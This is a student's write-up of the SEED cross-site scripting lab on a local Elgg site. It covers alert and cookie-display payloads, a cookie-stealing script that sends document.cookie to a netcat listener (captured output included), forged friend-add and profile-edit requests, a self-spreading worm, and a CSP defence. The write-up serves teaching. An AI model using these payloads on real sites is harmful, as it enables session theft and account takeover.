Justin Gallagher

CSC 482

Cross-Site Scripting (XSS) Lab

In this lab, we will exploit a cross-site scripting (CSRF) vulnerability in a web application and see how to mitigate XSS vulnerabilities. Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser. Using this malicious code, attackers can steal a victim's credentials, such as session cookies. The access control policies (i.e., the same origin policy) employed by browsers to protect those credentials can be bypassed by exploiting XSS vulnerabilities.

## Task 1: Posting a Malicious Message to Display an Alert Window

In this task, we are embedding a JavaScript program into one of the profiles on the Elgg site. I used Samy's profile for this task. I started by logging into Samy's account on Elgg and navigated to the Edit Profile section of the site. In Samy's brief description field, I entered the following JavaScript: `<script>alert('XSS');</script>`. This will send an alert to the webpage with the string 'XSS'. Once entering the JavaScript into the brief description, I clicked save and I was brought back to Samy's account's main page. When this happened, I was prompted with an alert reading 'XSS'. This shows that we can see the alert as Samy, the attacker. Now we will see if this attack works for other profiles (victims). I log into Alice's account and navigate to Samy's account and upon doing so the same alert pops up in the window. This proves the task successful.

## Task 2: Posting a Malicious Message to Display Cookies

In this task, we are embedding a JavaScript program into one of the profiles on the Elgg site that when encountered by another profile, will display that profiles cookie information to the screen. This is done in the same fashion as task 1, but to display the victim's cookies to the screen we will need to modify the JavaScript program from task 1. The new JavaScript program is as follows: `<script>alert(document.cookie);</script>`. I start by embedding the program by editing Samy's profiles brief description to the JavaScript we modified. I then clicked save and was brought back to Samy's main page. Upon doing so, I was met with a pop up containing the following: 'Elgg=elm75v4asgl25r36q9dev0eat5'. This represents Samy's own cookie value, which is displayed because we are logged into Samy during this session. We can show the attack works for any user that visits the page by logging out of Samy's account and logging into Alice's account and performing the same task. I navigate to Samy's page as Alice and like before, we are met with a similar prompt displaying Alice's cookie value which was shown as the following: 'Elgg=9qiv8tl7c3fa1dm5e1l4ap7cl3'. This proves that cookie information can be displayed using XSS.

## Task 3: Stealing Cookies from the Victim's Machine

In this task, we want to able to capture the cookies of the victims who visit the attackers' page instead of just printing them out to the victim as in task 2. We can achieve this by modifying the JavaScript program from the previous two tasks to include a HTTP request sent to the attacker that has the cookie information appended to it. The modified JavaScript program is given by the labs and is as follows: `<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + ' >');</script>`. We will use this JavaScript which creates an image tag with the source being the attackers IP address. When encountered, this will send a GET request to the attacker's machine along with the added cookie information. We will also use the `netcat` command which will monitor traffic on the port 5555 and listen for our GET request. The command I used is as follows: `netcat -l 5555 -v`. The '-l' option allows us to listen to a specified port and the '-v' option gives for verbose. I start by running the `netcat` command via the terminal. I then navigate to the Elgg site and log in as Samy. I then click 'Edit Profile' and enter the JavaScript program into the brief description field. After doing so, I click save and the webpage reloads. I check the terminal to see that a request had been received. The results are below:

```
[10/14/20]seed@VM:~$ nc -l 5555 -v
Listening on [0.0.0.0] (family 0, port 5555)
Connection from [127.0.0.1] port 5555 [tcp/*] accepted (family 2, sport 59932)
GET /?c=Elgg%3D6utbihc8r2sbg3epjjg5o9dsr4 HTTP/1.1
Host: 127.0.0.1:5555
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.xsslabelgg.com/profile/samy
Connection: keep-alive
```

This information includes Samy's own cookie information since he was the user we were logged into during the session. We will now test this on another account so we can confirm this attack works on a victim. I log out of Samy's account and log into Alice's. I run the `netcat` command to monitor port 5555. I then navigate to Samy's account page and upon doing so the following is output in the console:

```
[10/14/20]seed@VM:~$ nc -l 5555 -v
Listening on [0.0.0.0] (family 0, port 5555)
Connection from [127.0.0.1] port 5555 [tcp/*] accepted (family 2, sport 59966)
GET /?c=Elgg%3Dc7hjoefr9lv9vjqej6n0n7tu22 HTTP/1.1
Host: 127.0.0.1:5555
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.xsslabelgg.com/profile/samy
Connection: keep-alive
```

This shows that we can see Alice's cookie information within the GET request which means we are successful in this task. All commands used are included above as well as their output.

## Task 4: Becoming a Victim's Friend

In this task, we need to write a malicious JavaScript program that forges HTTP requests directly from the victim's browser, without the intervention of the attacker. The objective of the attack is to add Samy as a friend to the victim. To do so, we need to figure out how the 'add friend' handles requests. I do this by logging into Bobby's account and adding Samy as a friend while taking note of the incoming requests using the network tool provided by Firefox. The request is a GET request, and in the URL we see the parameters used. In the parameters tab we see the field 'friend' with a value of 47. This means that in order to add a friend, you need the friend value of the person you want as a friend. This implies that Samy has a friend value of 47. We also see in the Parameters tab the Elgg token and ts. Using information from this request, we can now create our request using JavaScript that will add Samy as a friend to anyone that visits his profile. The bulk of the code is provided, and the part that we need to fill in is the URL that we will be using to send the request. The URL is based on the information we gathered for this task and is as follows:
'"http://www.xxslabelgg.com/action/friends/add?friend=47"+ts+token'. After adding the URL to the program, I logged into Samy's account and edited his page so that the about me now included the JavaScript for adding him as a friend to a victim user. After clicking save, the page reloads and Samy is added to his own friend list. To check and see if the attack works, I log into Boby's account and make sure Samy is not currently a friend of Boby. I then click on Samy's webpage, and the page loads. I then click on the Activity tab and see that in the activity feed, there is a notification saying that Boby is now a friend of Samy. This shows that Samy has been successful in adding Boby as a friend without Boby's knowledge. The JavaScript used for this task is contained within a file called 'task4.js' under the /home/seed/labs/xss directory in the VM. Questions for this task are answered below:

**Question 1**: Explain the purpose of Lines 1 and 2, why are they are needed?

- In order to send an HTTP request, we must include the valid timestamp and token from the website so that when the request is received, it isn't marked as illegitimate and an error will arise. Lines 1 and 2 store these values and uses them later in the URL.

**Question 2**: If the Elgg application only provide the Editor mode for the "About Me" field, i.e., you cannot switch to the Text mode, can you still launch a successful attack?

- We would not be able to launch the attack since this mode encodes special characters within the text. For example, '<' will be replaced by '&lt' and so the tags will be encoded and not recognizable as JavaScript.

## Task 5: Modifying the Victim's Profile

In this task, we will write JavaScript that will modify the victim's profile when the victim visits Samy's profile. This task is like task 4, in that we will need to gather some information first before writing the JavaScript program. Specifically, we will need to examine what requests are sent when a individual decides to edit their profile. We can do this by logging into Boby's account and monitoring the requests sent when we click 'Edit Profile' using the Network tool provided by FireFox. Upon changing Boby's brief description to read "I am awesome", we see a POST request is sent containing the URL and all the parameters used in the process of editing one's profile. Specifically, we see the description field with the desired edit to the profile, we see the access level for all the fields are 2 (public), the timestamp and token, and Samy's GUID. These are the values we will need to fill in in our JavaScript in order to create a successful attack. The JavaScript I wrote can be found under the /home/seed/labs/xss directory in the VM called 'task5.js'. After writing this JavaScript program and including all the parameters and the URL, I logged into Samy's account and clicked edit profile. I then changed his about me description to the JavaScript program. Upon saving the changes, I log out of Samy's profile and log into Alice's profile. I first check Alice's homepage to make sure she currently does not have a brief description. Upon confirming this, I navigated to Samy's page and once there, I checked back on Alice's page to see if anything had changed. The brief description now reads 'Samy was here'. This is the string I had put into my code, and now it appears in Alice's description meaning that the attack was successful, and her profile was changed without her permission. The question to this task is answered below:

**Question 3**: Why do we need Line 1? Remove this line, and repeat your attack. Report and explain your observation.

- The first line in the code is required because it keeps the attack from attacking Samy's own webpage. If it were not there, what ends up happening is upon saving the changes, the string that is meant to be planted in the victims about me field is now placed in Samy's about me field because he is the current session. Doing this wipes out the previous JavaScript, rendering this attack a fail because now when a victim visits Samy's page, the JavaScript is no longer there.

## Task 6: Writing a Self-Propagating XSS Worm

In this task, we will make the JavaScript from task 4 self-propagating. This means that once the first victim has been infected with the worm, then the worm attaches itself to the victim so that now anyone visiting the victims page will also fall victim to the original attack. This can be done by making a copy of the code and plant the copy within the profile of a victim user. Once this is done, the JavaScript will act as a normal program like it has been for the previous tasks but now it is attached to the victim's page and the attackers' page. The more people fall victim to the attack, the greater the chances of the JavaScript program spreading. We will use the DOM approach to make this a self-propagating program. To start this task, I take the JavaScript code from task 4 and modify it so that it is self-propagating. The file, called 'task6.js', can be accessed under he /home/seed/labs/xss directory in the VM. I then log into Samy's account and edited his page so that the about me now included the JavaScript for self-propagating code that puts the string "Samy was here" in the victims about me field. After clicking save, I then log off Samy's account. To check and see if the attack works, I log into Boby's account and make

sure Boby has nothing in his about me field. After ensuring this, I make my was to Samy's profile. Then I head back to Boby's page to see if anything has changed. The About me field now reads "Samy was here". Now we will test to see if Boby's account has become infected with the worm from Samy's account. We can quickly check the about me field on Boby's edit profile to see the self-propagating program along with the string "Samy was here". We now log out of Boby's account and log into Alice's account. I navigate to Boby's profile and then back to Alice's to see if anything changed. Alice's field has also been updated to "Samy was here". This proves that the attack is self-propagating because Boby is now a carrier of the worm that infected Alice.

## Task 7: Defeating XSS Attacks Using CSP

In this task, we look at how browsers tell which code source is trustworthy via the Content Security Policy. This security mechanism is specifically designed for defeating XSS attacks. We will focus on how to use CSP to defeat XSS. We start by running a provided http server contained within a python file. We are also given a HTML test page that when loaded includes 6 test areas that display "Failed". The page also includes 6 pieces of JavaScript that try to write the work "OK" to the test areas. If the "OK" can be seen, then the JavaScript code has been executed successfully. The goal of this task is to make it so that all fields show "OK" instead of "Failed". To start, we have to set up the DNS entries so that the web server can be accessed from the three provided URL's. I changed the /etc/hosts file using the following commands and the vim editor:

```
sudo su root
cd ~
cd /etc/hosts
cp /etc/hosts /home/seed/labs/xss
vim /etc/hosts
```

I then made a copy of the python server file, called 'http_server_new.py'. I then loaded up the three webpages called 'example32.com', 'example68.com', and 'example79.com' in the web browser. To fix the issues with the "Failed" appearing on these webpages, I first went to 'http_server_new.py' and created new entries for "self.send_header". These entries included the following lines being added to the code (the code is also available under the /home/seed/labs/xss directory):

```
"script-src 'self' *.example32.com:8000 'nonce-1rA2345' "
"script-src 'self' *.example68.com:8000 'nonce-1rA2345' "
"script-src 'self' *.example79.com:8000 'nonce-1rA2345' "
"script-src 'self' *.example32.com:8000 'nonce-2rB3333' "
"script-src 'self' *.example68.com:8000 'nonce-2rB3333' "
"script-src 'self' *.example79.com:8000 'nonce-2rB3333' "
```

After the changes were made, I shutdown the original 'http_server.py' file and started running 'http_server.py'. I then reloaded all of the webpages from before and for areas 1, 2, 4, 5, and 6, and they all displayed "OK". This means we were successful in defeating XSS using CSP.